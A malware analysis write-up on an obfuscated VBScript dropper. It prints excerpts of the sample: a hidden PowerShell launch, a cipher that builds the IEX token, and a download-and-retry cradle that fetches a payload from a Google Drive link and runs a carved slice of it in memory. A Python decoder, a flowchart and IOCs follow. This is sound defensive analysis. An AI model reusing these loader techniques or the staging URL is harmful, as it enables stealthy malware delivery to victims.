Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript.

Rem Maltekstrakt! mystificexr138! agapemonist158 leopoldinia: byggeklodsen?
Rem Cytologis: oxyuricide woald drmmeanalyserne
Rem Korari! puredee microchip, vinkede,
...
Alexei = "c:\windows\"
Set Fibrillationens = Domsmandsret.OpenTextFile(Alexei & "notepad.exe", 1)
Svarskrivelserdissershew = Trim("Uopskaarne199")
emissionsbegrnsning = Replace("Ludovico","Stregkodeprogram","windburning")
Pashka = Detachrers.ReadAll
Stbloklandenes = instr(1,Pashka,"s")
kama = mid(Pashka,Stbloklandenes,1)
Stbloklandenes = instr(1,Pashka,"l")
Reserveres = mid(Pashka,Stbloklandenes,1)

Deobfuscation

> python vbs_strip_comments.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass1.vbs
{"changed":5531,"comment_lines_removed":5531,"input_bytes":270899,"output_bytes":8657,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass1.vbs"}

> python vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass1.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass2.vbs
{"changed":34,"substituted_reads":34,"input_bytes":8657,"output_bytes":76352,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass2.vbs"}

> python .\vbs_fold_builtin_calls.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass2.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass3.vbs
{"changed":8,"input_bytes":76352,"output_bytes":76257,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass3.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass3.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass4.vbs
{"changed":42,"input_bytes":76257,"output_bytes":7404,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass4.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass4.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass5.vbs
{"changed":3,"input_bytes":7404,"output_bytes":7388,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass5.vbs"}

> python .\vbs_fold_instr_mid.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass5.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass6.vbs
{"changed":2,"folded":2,"input_bytes":7388,"output_bytes":7338,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass6.vbs"}

> python vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass6.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass7.vbs
{"changed":7,"substituted_reads":7,"input_bytes":7338,"output_bytes":7316,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass7.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass7.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass8.vbs
{"changed":2,"input_bytes":7316,"output_bytes":7284,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass8.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass8.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs
{"changed":7,"input_bytes":7284,"output_bytes":7119,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    A["VBScript starts"] --> B["Anti-analysis stall:<br/>opens notepad.exe and spins<br/>in an empty loop, doing nothing"]
    B -.-> C["Decoy check:<br/>looks for msiexec.exe,<br/>result never used"]
    C --> D["Decode the embedded obfuscated text<br/>into a plain PowerShell script"]
    D --> E["Launch PowerShell with a<br/>hidden window (no console shown)"]
    E --> F["PowerShell self-decodes its own logic<br/>at runtime so almost nothing is<br/>readable as plain text"]
    F --> G["Send an HTTP GET request to a<br/>Google Drive download link,<br/>spoofing a browser User-Agent"]
    G --> H{"Did the server<br/>respond with success?"}
    H -- No, wait ~4 seconds and retry --> G
    H -- Yes --> I["Save the downloaded data to<br/>%APPDATA%\\Nationalkonomierne18.Aff"]
    I --> J["Read the saved file back,<br/>decode it from Base64,<br/>and convert it to text"]
    J --> K["Cut out one specific ~19 KB chunk<br/>from a fixed position inside that text"]
    K --> L["Run that extracted chunk in memory<br/>as the next stage of the payload"]
    L -.-> M["Final payload capability unknown:<br/>not retrieved or executed<br/>during this static analysis"]

    classDef decoy stroke-dasharray: 5 5,fill:#f5f5f5,stroke:#999,color:#666
    classDef unknown stroke-dasharray: 5 5,fill:#fff3f3,stroke:#c0392b,color:#c0392b
    classDef contact fill:#eaf2ff,stroke:#2c6fd1,color:#1a1a1a
    classDef artifact fill:#fff8e1,stroke:#c9970c,color:#1a1a1a

    class B,C decoy
    class M unknown
    class G,H contact
    class I artifact

Report

Executive Summary

This file is a VBScript dropper whose entire purpose is to launch a heavily obfuscated PowerShell script in a hidden window. The VBScript itself performs no meaningful malicious action beyond decoding and launching that PowerShell — it also contains several inert, non-functional blocks (an infinite/no-op stall loop and an unused environment check) that appear designed to waste analyst/sandbox time or pad the file to look busier than it is.

Once decoded, the PowerShell stage is a self-decrypting, multi-stage loader:

  1. It reconstructs its real logic and configuration at runtime from dozens of small Base64+XOR-encoded fragments, so almost nothing meaningful is visible as plain text in the script — including the very word “IEX” (Invoke-Expression), which is itself assembled from an encoded byte array rather than ever appearing literally.
  2. It repeatedly downloads a file from a Google Drive direct-download link using the legitimate Windows Msxml2.ServerXMLHTTP.6.0 COM object, retrying every 4 seconds until it succeeds, and saves it to %APPDATA%\Nationalkonomierne18.Aff.
  3. It then Base64-decodes that downloaded file, converts it to text, and carves out a specific ~19 KB slice from a fixed byte offset inside the decoded text — and executes that slice in memory as the next-stage PowerShell payload.

Because the final payload lives on a remote, attacker-controlled Google Drive file rather than inside this sample, the ultimate capability of this loader (e.g., RAT, stealer, ransomware) cannot be determined from this file alone. This report documents everything recoverable through static analysis; retrieving and safely detonating the linked Drive object in an isolated sandbox is the logical next step and was intentionally not performed here.

Key behavioral facts:


Details

Anti-analysis stall and decoy checks
Set Domsmandsret = CreateObject("Scripting.FileSystemObject")
Alexei = "c:\windows\"
Set Fibrillationens = Domsmandsret.OpenTextFile("c:\windows\notepad.exe", 1)

Do While Fibrillationens.AtEndOfStream <> True
Loop

If Domsmandsret.FileExists(Alexei & "SYSTEM32\msiexec.exe") Then
Set Detachrers = Domsmandsret.OpenTextFile("c:\windows\notepad.exe", 1)
End If

The script opens the legitimate system binary notepad.exe as a text stream purely to spin on AtEndOfStream in an empty loop body — it never calls .ReadLine, so the loop condition never legitimately changes. This is filler/stall code, not a functional read of the file; it’s consistent with cheap anti-sandbox padding meant to burn CPU time or confuse simplistic behavioral monitors. The follow-up check for SYSTEM32\msiexec.exe opens notepad.exe a second time but never uses the result — this branch has no observable effect and is best read as decoy/junk code, possibly a leftover from a code generator/obfuscation toolkit rather than deliberate anti-VM logic.

An unused WScript.Shell object is also created and never referenced again, reinforcing that this sample was produced by an automated obfuscator/builder that pads scripts with inert objects.

Obfuscated PowerShell payload decode and hidden launch
Set Attargul = CreateObject("Shell.Application")
Polleten = adduction("funHumoledtilongarn zllongarrp { ... }", "axis","s")
Polleten = adduction(Polleten,"longar","o")
Polleten = adduction(Polleten,"hoimulz","$")
Polleten = adduction(Polleten,"Humoled","c")
Filtrlhr = Polleten
Call Attargul.ShellExecute("powershell",""""  & Filtrlhr & """" ,Prionodesmaceous,Cephalhydrocele,0)

Function adduction (Arbejdsforskrift,Intoner,Tilfredsstille)
Set oRE = New RegExp
oRE.Global = True
execute "oRE.Pattern = Intoner"
Flerbrugerdrifternes=Arbejdsforskrift
execute "adduction = oRE.Replace(Flerbrugerdrifternes, Tilfredsstille)"
end function

The ~5,700-character obfuscated blob is passed through the same substitution function four times, each call performing one global literal-string replacement: "axis"→"s", "longar"→"o", "hoimulz"→"$", "Humoled"→"c". Two things are notable:

Reproducing this decode step is trivial and is included in full in the Appendix.

PowerShell stage: self-decoding primitives

Once decoded, the PowerShell contains three functionally important helpers buried among several no-op decoy functions (zlorp, snarf, wibble — each just calls Get-Date/Get-Process and discards the result via [void], contributing nothing but harmless API-call noise likely meant to dilute behavioral signatures).

A subtractive-cipher decoder, used to reconstruct short but security-relevant keywords without ever writing them as literal text:

function sslangen ($libyeres) {
    do {
        $libyeres[$sensuelles] -= $malapaho133[$sensuelles % 11]
        $heroiseredes = $libyeres[$sensuelles]
        $heroiseredes = [char]$heroiseredes
        $uddifferentieringernes219 += $heroiseredes
        $sensuelles++
    } while ($libyeres[$sensuelles])
    $uddifferentieringernes219
}
$malapaho133 = @(68,97,110,110,101,107,118,105,110,100,101)
$outeye206 = sslangen @(141,166,198)

$malapaho133 is the ASCII byte sequence for the literal string “Dannekvinde” (Danish for “goose-woman”/a play on “Dannevirke”-style compound words — the string itself has no significance beyond serving as an 11-byte repeating key). Feeding the 3-element array @(141,166,198) through this subtractive cipher against that key recovers the string "IEX" — i.e. the script builds the literal token for Invoke-Expression at runtime purely so that the string IEX/Invoke-Expression never appears anywhere in the file as plain text.

That reconstructed token is then invoked via the call operator:

function Grunts ($pitylus173) {
    [void](get-service | select -first 1)
    .($outeye206) $pitylus173
}

.($outeye206) $pitylus173 is equivalent to & "IEX" $pitylus173, i.e. it runs $pitylus173 as PowerShell code via Invoke-Expression. Every “execute this decoded fragment now” action in the script funnels through this function.

A Base64+XOR decoder/executor, the core primitive used throughout the script for both configuration values and executable code fragments:

Function Overflyttere ($libyeres,$ghat=0){
    [void](Get-Process | select -first 1)
    $ledelsesstil = sslangen(@(159,164,221,...))          # decodes to: [Convert]::FromBase64String($libyeres)
    $towpath = @(Grunts ($ledelsesstil))
    For($coriariaceae=0; $towpath[$coriariaceae] -ne $albeston; $coriariaceae++){
        $towpath[$coriariaceae] = nimrods69 $towpath[$coriariaceae] $malapaho133[$coriariaceae % 11]
    }
    $filthatten = sslangen(@(113,203,221,...))            # decodes to: -join [char[]]$towpath
    $ngstelighedens119 = Grunts ($filthatten)
    if ($ghat) { Grunts $ngstelighedens119 } else { $ngstelighedens119 }
}

nimrods69’s real body — itself only visible by decoding its own embedded byte array — turns out to be a bitwise XOR ($a -bxor $b), not the subtraction used by sslangen. So Overflyttere does, for any Base64 string it’s given: Base64-decode → XOR every byte with the repeating “Dannekvinde” key → join back to a string → either return it, or (if called with a second argument of 1) immediately execute it via Grunts/IEX. This single function is called roughly 30 times through the script, each time with a different short Base64 blob — splitting the “real” program logic into dozens of pieces that are individually meaningless and only assemble into working code at runtime, which defeats static string-matching detection almost entirely. The full algorithm was independently re-derived and validated against every encoded string in the file (see Appendix).

Recovered configuration and download behavior

Decoding the Overflyttere-wrapped strings recovers the script’s actual configuration and control flow:

$global:fordragelige = $env:appdata + '\Nationalkonomierne18.Aff'
$global:nontheistic  = $tiltalerejsninger.split('>')        # $tiltalerejsninger = "https://drive.google.com/uc?export=download&id=1Z-GybxVaMa_6-4WZ2J14pCLvw7ZtuhHv"
$global:protostega   = New-Object -Com Msxml2.ServerXMLHTTP.6.0
$global:kvartserne225 = (Test-Path $fordragelige)
while (!$kvartserne225) {
    $protostega.open('GET', $tiltalerejsninger, $false)
    $protostega.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0')
    $protostega.send()
    $global:upopulreres = $protostega.status -eq 200
    if ($upopulreres) {
        [byte[]]$global:seisor = $protostega.responseBody
        sc $fordragelige $seisor -Encoding Byte
    }
    Sleep(4)
    ...
}

This decodes to a download-and-retry loop: it repeatedly issues a synchronous GET to the Google Drive URL above using the built-in Windows Msxml2.ServerXMLHTTP.6.0 COM automation object — the same object documented in numerous PowerShell “download cradle” techniques — spoofing the User-Agent header as a desktop Firefox browser, and retries every 4 seconds until it receives an HTTP 200 response, at which point it writes the raw response bytes to %APPDATA%\Nationalkonomierne18.Aff. PowerShell Download Cradles, Powershell MsXml COM Object detection rule

Note: the spoofed User-Agent string claims Firefox 152.0, a version number that does not exist in any released Firefox build as of this writing — almost certainly a builder/template artifact rather than a deliberate attempt at a “real” UA, but it is a distinctive, low-noise detection signature.

Final-stage payload extraction and execution
$global:undercarry    = gc $fordragelige                                    # Get-Content -> read the downloaded file as text
$global:Gipsyhead     = [Convert]::FromBase64String($undercarry)            # the downloaded file's content is itself Base64 text
$global:pengeglades119 = [Text.Encoding]::ASCII.GetString($Gipsyhead)       # decode those bytes to an ASCII string
$global:punctule      = $pengeglades119.substring(137164, 19100)            # slice a ~19 KB region from a fixed offset
Grunts $punctule                                                            # execute that slice via IEX

The downloaded Nationalkonomierne18.Aff file is not used directly — its content is itself Base64 text that decodes to a much larger ASCII blob, out of which the script extracts a fixed ~19,100-character window starting at byte offset 137,164, and executes only that window as the next PowerShell stage. This offset-carving approach (payload buried at a specific, non-obvious location inside a much larger container) is a common technique to hide the “real” payload from anyone who casually inspects the downloaded file, and to make the file’s true nature harder to fingerprint by AV engines that hash or scan the container as a whole.

This is the boundary of static analysis for this sample. The content at that offset is retrieved live from Google Drive and was not fetched or executed as part of this engagement, so the ultimate payload family/capability (RAT, stealer, loader-for-loader, etc.) is unknown. Recommended next step: retrieve the linked Drive object in an isolated, network-monitored sandbox and repeat this analysis on the extracted final stage.


IOCs

Type Value Notes
Dropped file %APPDATA%\Nationalkonomierne18[.]Aff Written after successful download; contains Base64 text
Static string constant Dannekvinde (ASCII bytes 68,97,110,110,101,107,118,105,110,100,101) 11-byte repeating XOR/subtractive key used throughout the script’s decode routines

Python reproduction of all decoding steps

The following script reproduces every decoding step documented in this report using only arithmetic and string operations — no code from any layer of the sample is ever executed, only decoded for inspection.

import base64

# --- Stage 0: VBScript-level literal substitution decode ---
# adduction() is called 4 times, each performing one global literal replace,
# applied in this exact order to the raw obfuscated string from the .vbs file.
def vbs_decode(obfuscated: str) -> str:
    s = obfuscated
    s = s.replace("axis", "s")
    s = s.replace("longar", "o")
    s = s.replace("hoimulz", "$")
    s = s.replace("Humoled", "c")
    return s

# --- Stage 1: the "sslangen" subtractive-cipher decoder ---
# key = ASCII bytes of the literal string "Dannekvinde"
KEY = [68, 97, 110, 110, 101, 107, 118, 105, 110, 100, 101]

def sslangen(arr):
    """Recovers short PowerShell keyword fragments embedded as int arrays."""
    out = []
    i = 0
    while True:
        val = arr[i] - KEY[i % 11]
        out.append(chr(val % 256))
        i += 1
        if i >= len(arr) or not arr[i]:
            break
    return "".join(out)

# --- Stage 2: the "Overflyttere" Base64 + XOR decoder ---
def overflyttere(b64str: str) -> str:
    """
    Recovers the loader's configuration strings and executable code
    fragments. Equivalent to the PowerShell function `Overflyttere`:
      1. Base64-decode the input
      2. XOR every byte with the repeating 11-byte "Dannekvinde" key
      3. Return the resulting text (the malware optionally IEX's it —
         we only decode here, never execute)
    """
    raw = base64.b64decode(b64str)
    out = bytes(b ^ KEY[i % 11] for i, b in enumerate(raw))
    try:
        return out.decode("utf-8")
    except UnicodeDecodeError:
        return out.decode("latin-1")


if __name__ == "__main__":
    # Example: recovering the dynamic "IEX" token from its embedded byte array
    print(sslangen([141, 166, 198]))
    # -> 'IEX'

    # Example: recovering the C2/staging URL
    print(overflyttere(
        "LBUaHhZRWUYKFgwyBEAJCgQRBQtKBisMQRsGVBMRHgsXMFwKARIFGgYPAEMtBVNfP0Yx"
        "EAwcMyUsDzFTRkI+NFYvdVUeLSkdAV40EBAsKRg="
    ))
    # -> 'https://drive.google.com/uc?export=download&id=1Z-GybxVaMa_6-4WZ2J14pCLvw7ZtuhHv'

    # Example: recovering the dropped-file path fragment
    print(sslangen([159,164,221,220,219,208,232,221,203,158,159,138,211,221,219,
                    167,204,233,206,164,152,184,184,211,215,220,204,147,154,213,
                    215,198,222,169,211,211,225,142]))
    # -> '[Convert]::FromBase64String($libyeres)'

Running this against the full set of encoded strings in the sample reproduces every quoted plaintext value in Section 2 and the IOC table.